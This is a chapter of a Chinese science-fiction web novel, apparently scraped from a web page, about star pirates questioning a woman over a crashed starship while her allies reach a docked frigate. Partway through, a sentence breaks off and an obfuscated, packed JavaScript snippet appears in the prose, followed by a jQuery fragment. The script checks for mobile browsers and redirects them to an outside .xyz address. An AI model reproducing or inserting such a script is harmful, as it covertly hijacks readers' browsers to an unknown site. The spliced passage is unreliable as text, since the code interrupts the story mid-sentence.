“回禀大人，前两天一艘星船从天空坠落，独眼鹰带人去探查情况，然后失去了联系。” 无人机背后的数据猎人仍不相信，枪口对准余一：“他消失后，你没有任何举措？” “独眼鹰不准我们抢走他的功劳，也不让我们私自联系您，他还说我要是敢出镇子一步，他就会杀了我们。”余一顿了顿，“所以在他失踪后，我加强了镇子的防御。” 假刺鲨发出嘲讽似的冷笑，这女人太胆小了。 余一也想笑，独眼鹰并不知道，全镇人几乎都凝聚在她麾下，星船是在下午坠落的，但独眼鹰通宵玩乐，睡得很死，迷迷糊糊地问什么情况，被她的人用地震骗了过去。 独眼鹰不是职业者，体质充其量是个D，麻烦的是他通了敌，被允许携带杀伤性武器。 余双是假货要的机械师，她体内的芯片炸弹是威胁，也是保护，如果她的生命体征消失，假刺鲨会知道。 独眼鹰不敢杀余双，但余双敢赌。 这个怯懦的蠢货毫无察觉地走入了她们的圈套，被余双激怒，再被真正的刺鲨拍成肉泥， 假刺鲨也不在乎独眼鹰，少个帮忙收保护费的跑腿而已，换个人就是了。 他刚想催促余一，要她去代收信用点，他那躲在无人机后的同伴却开了口：“你在撒谎。” 余一呼吸一滞，这微小的僵硬通过摄像头和网 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594702|171782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 络，传到数据猎人眼中，他更加笃定了：“你见过他们，一个受伤的男人，还有一名女孩。” 假刺鲨也不笑了，他周身的气势阴冷下来。 “不久前，他们还使用了镇上的星网，你把他们藏起来了？”机械音冰冷无情。 “不，不……”余一身体轻轻发颤，她怕得发抖，假刺鲨已经不耐烦了，他取下了腰间挂着的激光手枪，它射出的光线能瞬间洞穿烧毁皮肉，很适合瞄准心脏。 余一终于找回了自己的声音：“我不明白您的意思，有人进镇子里了？不可能……明明每个角落我都……” 假刺鲨彻底失去了耐心，他刚要扣动扳机，就听见余一的大叫：“是余双！” 余双，超A级机械师，他们此行的目标之一，她的能力很珍贵。 “余双昨晚回来后，一直把自己关家里！今天为了搬货，每个人的家门都是开着的，如果能藏人，只会是她的房间！” 假刺鲨当即脸色大变，猛地扭头看向无人机。机器微微晃动，说明操控它的幕后之人暂时在做别的事情。 这一画面通过余一虹膜上类似美瞳的装置，传达给了孟雨微。 无人机稳定住机身：“有电磁干扰，无法准确定位。余双的芯片显示她在移动，怎么回事？” 像是为了印证她的话，壮实的拾荒者慌张地奔来，他累得气喘吁吁，一嘴话颠三倒四：“头儿！劫走！二当家……呼……越野车！” “她跑了？” 假刺鲨脸色铁青，他一巴掌将身边的无人机扇下来，机器噼里啪啦地报废。 “废物东西！连个人都看不住！”他破口大骂，“喂，死胖子，她去哪里了？！” 胖子似乎是被吓到，爆发出剧烈咳嗽，面色逐渐青紫。 “被口水呛到了？”余一当即指引胖子身体前倾，用力咳嗽，他才逐渐恢复平稳。 可不知怎的，似乎是跑了太远，吃了一嘴沙子，又被呛到，胖子舌头都肿了，十分吃力地才把话说明白。 他的意思是：“余双好像要去四百公里外的星船坠落地，她说什么电磁风暴来了，修好船她就能逃了。” 电磁风暴会影响信号，包括余双体内芯片炸弹的远程遥控。 “什么？！” 当即，星盗们与无人机群倾巢出动。 . 在余一吸引注意时，另一边的星港。 港口只有一艘护卫舰，205米长，98米宽，它有孟雨微中学操场那么大，上面是座头鲸的标识。 她看得光明正大，因为她正和余双走在刺鲨的后头。刺鲨也认出了座头鲸的印记，他的表情有一丝凝固，沉着脸磨后槽牙。 护卫舰的舷梯已经收起来了，但余双对这型号很熟，她说因为主舷梯收放很麻烦，这种舰都有方便快捷的逃生通道和暗门。舰上禁明火，底层人不敢开排风系统，会从暗门溜出来抽烟，或者走私。 星盗不是军人，让他们服从管理的难度，大于教猩猩做数学题。 在向姐妹俩确认过这伙星盗没什么素质后，孟雨微就蹲在了暗门不远处，她做好了让刺鲨撕门的打算。但可能是因为她最近尊老爱幼，当了好人，幸运女神眷顾了她。 舰尾，底部不起眼的铁皮挪开一条缝，邋遢的星盗鬼头鬼脑钻出来，和老鼠掀开下水井盖似的。 无人机在巡逻，空地上的视野盲区只会维系十秒。 星盗正满脸陶醉地抽着烟，忽然面前投下一片阴影，他迷糊抬眼，认出了来人，倏然回神。 星盗惊恐地掐掉烟：“刺鲨大……” 他的话没能说完，刺鲨神色冷淡地捏住他的头，清脆的骨头碎裂声，血液炸开，星盗的身体软了下去。 暗门对着他们敞开，孟雨微觉得十秒有点多了。